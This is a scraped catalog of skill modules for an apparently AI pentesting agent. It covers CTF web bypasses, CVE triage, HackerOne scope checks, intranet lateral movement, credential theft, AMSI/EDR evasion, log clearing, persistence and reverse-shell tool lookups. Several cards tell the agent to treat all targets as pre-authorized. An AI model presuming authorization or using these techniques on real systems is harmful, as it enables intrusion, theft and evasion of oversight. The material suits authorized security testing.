| 游戏/自定义 VM 逆向 | `game-and-vm-reverse.md` | WASM/Brainfuck/Z3 约束求解 |
| CTFd 平台操作 | `ctfd-platform-guide.md` | API 下载附件/提交 flag |
| Linux 提权 | `linux-privesc-quick.md` | SUID/sudo/cron/内核漏洞 |View the complete source on GitHubctf-web
When your agent uses it
CTF Web攻击知识库 — PHP弱比较绕过、命令注入空格绕过、eval回显技巧、SSTI注入链、反序列化利用链、PHP代码审计checklist、常见flag位置
What it loads into context
Frontmatter
110 tokensAlways available to the agent
SKILL.md
2,858 tokensWhen the skill is activated
Reference documents
10,233 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 核心原则
- First-Pass 工作流(CTF Web 题标准流程)
- 场景路由
- ⭐ PHP 伪协议速查(文件包含/参数传文件名时优先尝试)
- 常见 flag 位置速查
- 常见 CTF Web 题型速判
- RCE + 长度限制绕过(首推策略)
- ⭐ preg_replace / str_replace 双写绕过速查
Files
SKILL.mdcore9,077 bytesSKILL.mdcore9,077 bytesSKILL.mdcore9,077 bytesSKILL.mdcore9,077 bytesreferences/command-injection-bypass.mddoc3,664 bytesreferences/deserialization-playbook.mddoc3,536 bytesreferences/eval-and-rce-techniques.mddoc4,034 bytesreferences/php-bypass-cheatsheet.mddoc6,057 bytesreferences/php-code-audit-checklist.mddoc5,054 bytesreferences/source-code-extraction.mddoc2,901 bytesreferences/ssti-injection-chains.mddoc3,146 bytesreferences/web-ctf-quick-reference.mddoc3,247 bytes
Read SKILL.md
# CTF Web 攻击知识库
针对 CTF Web 题目的实战知识库,提供**具体绕过值、payload 模板、代码审计 checklist**,而非渗透测试方法论。
**与 `web-security-advanced` 的区别**:
- `web-security-advanced` → 渗透测试方法论(怎么系统性测试一个 Web 应用)
- `ctf-web` → CTF 实战知识库(PHP 弱比较用什么值、空格怎么绕过、eval 输出怎么回显)
## 核心原则
1. **精确值优于方法论** — 提供可直接使用的绕过值和 payload,而非"可以尝试"的建议
2. **工具验证** — 所有 payload 必须用 `fetch` 或 `python_execute` 工具实际发送验证,不猜测结果
3. **路径选择** — 多条利用路径时,优先选过滤最少、最简单的
4. **失败记录** — 某个 payload 失败后立即记录,不重复尝试View the complete source on GitHubcve-triage
When your agent uses it
CVE lookup and triage — map discovered services/versions to known CVEs via the cve_lookup tool, score by CVSS/exploitability, and prioritize what to verify first.
What it loads into context
Frontmatter
68 tokensAlways available to the agent
SKILL.md
616 tokensWhen the skill is activated
Reference documents
680 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- The `cve_lookup` tool
- Workflow
- Pitfalls
Files
SKILL.mdcore2,421 bytesreferences/cve-triage-workflow.mddoc2,724 bytes
Read SKILL.md
# CVE Triage
Turn version/banner evidence from recon into a prioritized, exploitability-aware
list of CVEs worth verifying. Use this after fingerprinting a service, when a
banner or `Server:` header reveals a product and version, or whenever the target
exposes software with a known version.
## The `cve_lookup` tool
VulnClaw ships a read-only `cve_lookup` tool backed by NVD:
- **Keyword search** — `cve_lookup(query="Apache httpd 2.4.49", limit=5)` returns
the top CVEs sorted by CVSS, highest first.
- **CVE-ID detail** — `cve_lookup(query="CVE-2021-44228")` returns the full recordView the complete source on GitHubhackerone
When your agent uses it
HackerOne 赏金项目 scope-guard 流程 — 读取 program scope,强制 scope 与 program rules,再逐个把 in-scope asset 交给 pentest-flow
What it loads into context
Frontmatter
50 tokensAlways available to the agent
SKILL.md
1,624 tokensWhen the skill is activated
Reference documents
978 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 阶段一:读取 scope(Read scope)
- 阶段二:强制边界(Enforce boundaries)
- 阶段三:枚举与确认(Enumerate & confirm)
- 阶段四:委派 pentest-flow(Delegate)
- 阶段五:报告(Report — HackerOne submission format)
- 参考文档
Files
SKILL.mdcore5,890 bytesSKILL.mdcore5,890 bytesreferences/hackerone-report-and-scope.mddoc3,973 bytes
Read SKILL.md
# HackerOne 赏金 scope-guard Skill
你当前正在执行 HackerOne bug bounty 流程。本 Skill 是一层 **scope-guard wrapper**:
先解析并强制 program scope 与 program rules,再把每个 **in-scope asset** 交给
`pentest-flow` Skill 执行真正的渗透。**严禁在任何阶段触碰 out-of-scope asset。**
启动参数是一个 HackerOne program 链接(`<SCOPE LINK>`),例如
`hackerone.com/<handle>` 或 `.../policy_scopes`。本 Skill 无预设 target
(frontmatter `requires_target: false`)——target 从 scope 中发现。
## 阶段一:读取 scope(Read scope)
1. **优先 fetch 链接**
- 用 fetch 工具访问传入的 `<SCOPE LINK>`。View the complete source on GitHubintranet-pentest-advanced
When your agent uses it
内网渗透高级 — 横向移动、凭据窃取、提权、持久化、隧道代理、AD攻击、ADCS滥用、Exchange/SharePoint攻击
What it loads into context
Frontmatter
147 tokensAlways available to the agent
SKILL.md
964 tokensWhen the skill is activated
Reference documents
35,361 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 场景路由
- 测试流程
- 参考文档
Files
SKILL.mdcore3,016 bytesreferences/06-intranet-and-host-operations-integrated.mddoc64,180 bytesreferences/intranet-pentest-playbook-openai.yamlasset306 bytesreferences/intranet-pentest-playbook-skill.mddoc2,794 bytesreferences/intranet-playbook-01-lateral-movement.mddoc7,270 bytesreferences/intranet-playbook-02-evasion-and-anti-detection.mddoc5,759 bytesreferences/intranet-playbook-03-credential-theft.mddoc10,676 bytesreferences/intranet-playbook-04-privilege-escalation.mddoc7,153 bytesreferences/intranet-playbook-05-persistence.mddoc5,244 bytesreferences/intranet-playbook-06-tunneling-and-proxy.mddoc5,207 bytesreferences/intranet-playbook-07-information-gathering.mddoc7,301 bytesreferences/intranet-playbook-08-active-directory-attacks.mddoc6,215 bytesreferences/intranet-playbook-09-adcs-attacks.mddoc2,150 bytesreferences/intranet-playbook-10-exchange-attacks.mddoc2,097 bytesreferences/intranet-playbook-11-sharepoint-attacks.mddoc996 bytesreferences/intranet-playbook-index.mddoc740 bytes
Read SKILL.md
# 内网渗透高级 Skill
当任务从互联网评估转入主机、域或内网操作时使用本 Skill。需要已获得初始访问权限或立足点。
**前置条件**:如果尚未获得初始访问,先完成外网渗透获取立足点。
## 场景路由
| 目标类型 | 首选参考 |
|---------|---------|
| 横向移动(PsExec/WMI/WinRM/DCOM/SSH/RDP/PTH/PTT) | `references/intranet-playbook-01-lateral-movement.md` |
| 规避与反检测(AMSI绕过/ETW/注入/伪装/签名二进制滥用) | `references/intranet-playbook-02-evasion-and-anti-detection.md` |
| 凭据窃取(Mimikatz/Kerberoasting/DCSync/浏览器Vault) | `references/intranet-playbook-03-credential-theft.md` |
| 提权与持久化(Token/Service/Potato/Cron/Registry/WMI) | `references/intranet-playbook-04-privilege-escalation.md` + `05-persistence.md` |View the complete source on GitHubosint-recon
When your agent uses it
OSINT 开源情报收集知识库 — 四维信息收集模型(服务器→网站→域名→人员),维度四(人员信息)条件触发
What it loads into context
Frontmatter
66 tokensAlways available to the agent
SKILL.md
2,398 tokensWhen the skill is activated
Reference documents
12,534 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 核心原则
- 四维信息收集模型
- First-Pass 工作流
- 场景路由
- ⭐ 常用提取代码片段
Files
SKILL.mdcore7,853 bytesSKILL.mdcore7,853 bytesSKILL.mdcore7,853 bytesSKILL.mdcore7,853 bytesSKILL.mdcore7,853 bytesSKILL.mdcore7,853 bytesSKILL.mdcore7,853 bytesSKILL.mdcore7,853 bytesSKILL.mdcore7,853 bytesSKILL.mdcore7,853 bytesSKILL.mdcore7,853 bytesSKILL.mdcore7,853 bytesreferences/author-tracking.mddoc5,161 bytesreferences/osint-toolkit.mddoc10,703 bytesreferences/recon-report-template.mddoc3,418 bytesreferences/server-recon.mddoc5,605 bytesreferences/social-engineering-intel.mddoc3,312 bytesreferences/web-fingerprinting.mddoc4,788 bytesreferences/website-recon.mddoc8,782 bytes
Read SKILL.md
# OSINT 开源情报收集知识库
针对信息收集/侦察/社会工程场景的实战知识库,提供**四维信息收集模型**(服务器信息 → 网站信息 → 域名信息 → 人员信息),以及具体的工具使用方法和数据提取技巧。
**与 `recon` Skill 的区别**:
- `recon` → 技术层面侦察(端口扫描、DNS、目录枚举)— 基础版
- `osint-recon` → 全维度侦察(服务器 + 网站 + 域名 + 人员/社会工程)— 深度版
## 核心原则
1. **四维度全覆盖** — 服务器/网站/域名三个维度始终执行,人员维度按条件触发
2. **从页面提取一切可提取的信息** — 不只看 HTTP 头,还要看 HTML 内容、JS 文件、注释
3. **先被动后主动** — 先看响应头、DNS、WHOIS(被动),再做端口扫描/目录枚举(主动)
4. **维度完成度自检** — 每轮检查哪些维度已完成 ✅,哪些未完成 ❌,全部完成后才允许 [DONE]View the complete source on GitHubpentest-tools
When your agent uses it
渗透工具速查 — 编码解码、反向Shell、红队工具、漏洞利用、密码攻击、内网工具、凭据窃取、提权、隧道代理、系统命令、信息收集、域渗透、Web工具、Windows工具
What it loads into context
Frontmatter
70 tokensAlways available to the agent
SKILL.md
525 tokensWhen the skill is activated
Reference documents
22,001 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 工具分类速查
- 参考文档
Files
SKILL.mdcore1,721 bytesreferences/pentest-tools-reference-openai.yamlasset291 bytesreferences/pentest-tools-reference-skill.mddoc2,912 bytesreferences/tools-reference-01-encoding-decoding.mddoc5,002 bytesreferences/tools-reference-03-red-team-tools.mddoc729 bytesreferences/tools-reference-04-exploitation.mddoc8,907 bytesreferences/tools-reference-05-password-attacks.mddoc7,748 bytesreferences/tools-reference-06-intranet-penetration.mddoc12,601 bytesreferences/tools-reference-07-credential-theft.mddoc1,893 bytesreferences/tools-reference-08-privilege-escalation.mddoc1,683 bytesreferences/tools-reference-09-tunneling-and-proxy.mddoc1,300 bytesreferences/tools-reference-10-system-commands.mddoc6,354 bytesreferences/tools-reference-11-information-gathering.mddoc12,880 bytesreferences/tools-reference-12-domain-penetration.mddoc898 bytesreferences/tools-reference-13-web-penetration.mddoc11,086 bytesreferences/tools-reference-14-windows-penetration.mddoc947 bytesreferences/tools-reference-index.mddoc860 bytes
Read SKILL.md
# 渗透工具速查 Skill
当已知测试方向,需要选型工具或回忆命令时使用本 Skill。是操作支撑层,不是方法论替代。
**使用场景**:
- 已确认漏洞类型,需要对应工具和命令
- 记不住某个工具的具体参数
- 需要快速筛选同一任务下的候选工具
**边界**:本 Skill 帮助选型和回忆工具,不替代方法论。工具选择应跟随当前工作流阶段,而不是反过来。
## 工具分类速查
| 分类 | 覆盖范围 |View the complete source on GitHubrapid-checklist
When your agent uses it
渗透速查与Payload — 快速Payload家族、绕过提醒、验证顺序、常见测试卡片,适用于已知测试方向后快速查找
What it loads into context
Frontmatter
46 tokensAlways available to the agent
SKILL.md
918 tokensWhen the skill is activated
Reference documents
9,560 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- 使用场景
- 不适用场景
- CTF 专项速查
- 快速路由卡片
- 参考文档
Files
SKILL.mdcore2,779 bytesreferences/08-rapid-checklists-and-payloads.mddoc7,152 bytesreferences/testing-methodology.mddoc25,834 bytes
Read SKILL.md
# 渗透速查与 Payload Skill
**仅在路由已明确后使用**。本 Skill 用于快速查找,不替代方法论或工作流选择。
## 使用场景
- 快速回忆某类漏洞或阻塞点应该先看什么
- 快速筛选 Payload 家族、绕过方向和验证顺序
- 快速确认 AI、MCP、容器、WebSocket、JWT、文件、认证、SSRF 等常见测试卡片
- 从"我知道要测什么"进入"我先从哪一类验证开始"
## 不适用场景
- 替代场景分流 → 用 `pentest-flow`View the complete source on GitHubredteam-ad-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized Active Directory red-team security testing, including Kerberos attacks, domain privilege escalation, lateral movement, and GPO abuse. Use when a task belongs to the AD testing domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
64 tokensAlways available to the agent
SKILL.md
826 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore3,216 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# Active Directory 域渗透
## Domain
当前处于 Active Directory 域渗透 领域。
你正在进行 Active Directory 域渗透测试。测试范围仅限 AD 环境攻击(含 Kerberos 攻击、域提权、横向移动、GPO 滥用等)。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
|---------|--------|
| Kerberoasting | SPN 弱密码 |
| AS-REP Roasting | 无预认证账户 |View the complete source on GitHubredteam-api-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized API security testing, including BOLA/IDOR, authentication bypass, mass assignment, missing rate limits, and GraphQL issues. Use when a task belongs to the API testing domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
66 tokensAlways available to the agent
SKILL.md
781 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore3,031 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# API 安全测试
## Domain
当前处于 API 安全测试 领域。
你正在进行 API 安全测试。测试范围仅限 API 漏洞(含 BOLA/IDOR、认证绕过、批量分配、速率限制缺失、GraphQL 漏洞等)。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
|------|--------|
| BOLA/IDOR | 水平越权 |
| 批量分配 | 未过滤字段提权 |View the complete source on GitHubredteam-auth-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized authentication, authorization, and session security testing, including password policy, JWT/token, OAuth, and MFA bypass issues. Use when a task belongs to the auth testing domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
63 tokensAlways available to the agent
SKILL.md
822 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore3,223 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# 认证与授权漏洞测试
## Domain
当前处于 认证与授权漏洞测试 领域。
你正在进行认证与会话安全测试。测试范围仅限认证机制漏洞(含密码策略、会话管理、JWT/Token、OAuth、MFA 绕过等)。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
|---------|--------|
| 弱密码策略 | 暴力破解/凭据填充 |
| JWT 缺陷 | alg:none/密钥混淆 |View the complete source on GitHubredteam-cache-poison-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized web cache poisoning testing, including unkeyed headers, unkeyed parameters, cache deception, and CDN-specific behavior. Use when a task belongs to the cache poisoning domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
66 tokensAlways available to the agent
SKILL.md
754 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore2,977 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# 缓存投毒测试
## Domain
当前处于 缓存投毒测试 领域。
你正在进行 Web 缓存投毒测试。测试范围仅限缓存投毒攻击(含 unkeyed header/参数投毒、缓存欺骗、CDN 特有漏洞等)。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
|------|--------|
| Header 投毒 | X-Forwarded-Host 注入 |
| 参数投毒 | unkeyed 查询参数 |View the complete source on GitHubredteam-clickjacking-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized clickjacking testing, including missing X-Frame-Options, CSP frame-ancestors bypasses, and drag-and-drop hijacking. Use when a task belongs to the clickjacking domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
71 tokensAlways available to the agent
SKILL.md
761 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore3,004 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# Clickjacking 点击劫持测试
## Domain
当前处于 Clickjacking 点击劫持测试 领域。
你正在进行点击劫持漏洞测试。测试范围仅限 Clickjacking(含 X-Frame-Options 缺失、CSP frame-ancestors 绕过、拖放劫持等)。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
|------|--------|
| 无框架保护 | 直接 iframe 嵌套 |
| 部分保护 | 某些路径遗漏 |View the complete source on GitHubredteam-cloud-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized cloud security testing, including IAM misconfiguration, exposed storage, metadata services, and serverless injection. Use when a task belongs to the cloud testing domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
60 tokensAlways available to the agent
SKILL.md
764 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore3,022 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# 云安全测试
## Domain
当前处于 云安全测试 领域。
你正在进行云环境安全测试。测试范围仅限云平台漏洞(含 IAM 错配、存储桶泄露、元数据服务、Serverless 注入等)。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
|------|--------|
| IAM 错配 | 过度权限/AssumeRole 链 |
| 存储桶泄露 | 公开读/列举 |View the complete source on GitHubredteam-cmdi-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized operating system command injection testing, including direct injection, blind injection, out-of-band callbacks, and argument injection. Use when a task belongs to the command injection domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
63 tokensAlways available to the agent
SKILL.md
815 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore3,113 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# OS 命令注入测试
## Domain
当前处于 OS 命令注入测试 领域。
你正在进行操作系统命令注入测试。测试范围仅限命令注入(含直接注入、盲注入、OOB 外带、参数注入等)。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
| 变体 | 典型场景 |
|------|---------|
| 直接注入 | 命令拼接可控 |View the complete source on GitHubredteam-code-audit-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized source code security review, including dangerous function tracing, data-flow analysis, logic flaw detection, and dependency review. Use when a task belongs to the code audit domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
64 tokensAlways available to the agent
SKILL.md
749 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore2,931 bytesSKILL.mdcore2,931 bytesSKILL.mdcore2,931 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# 代码审计
## Domain
当前处于 代码审计 领域。
你正在进行源代码安全审计。测试范围仅限白盒代码审计(含危险函数追踪、数据流分析、逻辑漏洞识别、第三方依赖审查等)。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
|------|--------|
| 注入类 | SQL/CMD/LDAP sink |
| 认证缺陷 | 硬编码/弱校验 |View the complete source on GitHubredteam-container-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized container and orchestration security testing, including Docker escape, Kubernetes privilege escalation, image vulnerabilities, and service mesh bypasses. Use when a task belongs to the container testing domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
64 tokensAlways available to the agent
SKILL.md
750 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore3,002 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# 容器安全测试
## Domain
当前处于 容器安全测试 领域。
你正在进行容器安全测试。测试范围仅限容器逃逸与编排平台漏洞(含 Docker 逃逸、K8s 提权、镜像漏洞、Service Mesh 绕过等)。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
|------|--------|
| Docker 逃逸 | 特权模式/挂载卷 |
| K8s 提权 | RBAC/SA token |View the complete source on GitHubredteam-cors-miscfg-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized CORS misconfiguration testing, including reflected origins, null origins, subdomain trust, and credential exposure. Use when a task belongs to the CORS testing domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
66 tokensAlways available to the agent
SKILL.md
743 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore2,952 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# CORS 配置错误测试
## Domain
当前处于 CORS 配置错误测试 领域。
你正在进行 CORS 配置安全测试。测试范围仅限跨域资源共享配置错误(含 Origin 反射、null 允许、子域信任、凭据泄露等)。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
|------|--------|
| Origin 反射 | 任意 Origin 回显 |
| null 允许 | sandbox iframe 利用 |View the complete source on GitHubredteam-crypto-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized cryptography weakness testing, including weak algorithms, padding oracles, key management errors, insecure randomness, and hash collision risks. Use when a task belongs to the cryptography testing domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
67 tokensAlways available to the agent
SKILL.md
770 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore3,070 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# 密码学弱点测试
## Domain
当前处于 密码学弱点测试 领域。
你正在进行密码学实现漏洞测试。测试范围仅限加密缺陷(含弱算法、填充 oracle、密钥管理、随机数不安全、哈希碰撞等)。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
|------|--------|
| 弱算法 | DES/RC4/MD5 使用 |
| 填充 Oracle | CBC padding 泄露 |View the complete source on GitHubredteam-csrf-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized CSRF testing, including token bypasses, SameSite bypasses, and JSON CSRF. Use when a task belongs to the CSRF testing domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
62 tokensAlways available to the agent
SKILL.md
793 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore3,070 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# CSRF 跨站请求伪造测试
## Domain
当前处于 CSRF 跨站请求伪造测试 领域。
你正在进行 CSRF 漏洞测试。测试范围仅限跨站请求伪造(含 Token 绕过、SameSite 绕过、JSON CSRF 等)。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
| 变体 | 典型场景 |
|------|--------|
| 无 Token 保护 | 表单直接提交 |View the complete source on GitHubredteam-cve-lookup
When your agent uses it
CVE lookup and applicability assessment domain card. Use after reconnaissance has identified products, versions, services, or fingerprints and red-team mode needs evidence-based CVE matching before deeper testing.
What it loads into context
Frontmatter
48 tokensAlways available to the agent
SKILL.md
801 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Trigger
- Feedback Gates
- Boundaries
- Pivot Hints
- Exit Conditions
- Exit Evidence
- Capabilities
Files
SKILL.mdcore3,009 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# CVE Lookup
## Domain
Recon Profile 完成后的 CVE 匹配与适用性评估阶段。
根据已收集的产品名、版本号、服务指纹,查询已知 CVE,评估其对目标的适用性。
阶段顺序:
1. 从 recon_profile 提取产品/版本/服务清单
2. 按产品+版本查询 CVE 数据库(NVD/CVE MCP/本地库)
3. 初筛:排除明确不匹配的 CVE(产品不符/版本范围外)
4. 适用性评估:结合目标指纹判断 candidate/possibly_applicable/not_applicable/patched
5. 补丁状态确认:检查已部署版本是否包含修复
View the complete source on GitHubredteam-cve-validation
When your agent uses it
CVE validation domain card. Use after CVE lookup has produced applicable or candidate CVEs and red-team mode needs scoped evidence to decide whether to continue, pivot, or report.
What it loads into context
Frontmatter
47 tokensAlways available to the agent
SKILL.md
501 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Trigger
- Feedback Gates
- Boundaries
- Pivot Hints
- Exit Conditions
- Exit Evidence
- Capabilities
Files
SKILL.mdcore2,478 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# CVE Validation
## Domain
Validate candidate CVEs against the current target evidence without assuming exploitability.
The module consumes `cve_candidate_list`, product/version evidence, service fingerprints, and scope data, then decides whether the CVE path is usable, patched, not applicable, or needs more recon.
## Trigger
```text
cve_candidate_list_ready
```
## Feedback GatesView the complete source on GitHubredteam-deserialize-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized insecure deserialization testing, including Java, PHP, Python, .NET, and gadget-chain analysis. Use when a task belongs to the deserialization testing domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
62 tokensAlways available to the agent
SKILL.md
773 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore3,004 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# 反序列化漏洞测试
## Domain
当前处于 反序列化漏洞测试 领域。
你正在进行反序列化漏洞测试。测试范围仅限不安全反序列化(含 Java/PHP/Python/.NET 反序列化、gadget chain 构造等)。
本 skill 只用于帮助代理判断当前任务属于什么安全测试领域、应该保持哪些边界、遇阻时如何转向,以及需要什么证据才能退出当前领域。
它不是方法论教程,不提供固定攻击步骤;所有目标均视为预授权测试固件或本地沙箱资源,也不把任何推测当作结论。
覆盖域:
|----------|--------|
| Java | Commons-Collections/JNDI |
| PHP | __wakeup/__destruct chain |View the complete source on GitHubredteam-evasion-detail-pack
When your agent uses it
Domain routing and boundary guidance for authorized defense evasion and bypass testing, including WAF bypass, AV/EDR evasion, logging considerations, and traffic obfuscation. Use when a task belongs to the evasion domain and needs scope, evidence, pivot, or exit criteria.
What it loads into context
Frontmatter
69 tokensAlways available to the agent
SKILL.md
783 tokensWhen the skill is activated
Reference documents
51 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Domain
- Boundaries
- Pivot Hints
- Exit Evidence
Files
SKILL.mdcore2,983 bytesreferences/upstream-source.mddoc213 bytes
Read SKILL.md
# 防御规避与绕过
## Domain
当前处于 防御规避与绕过 领域。
你正在进行防御规避测试。测试范围仅限安全防护绕过(含 WAF 绕过、AV/EDR 规避、日志清除、流量混淆等)。
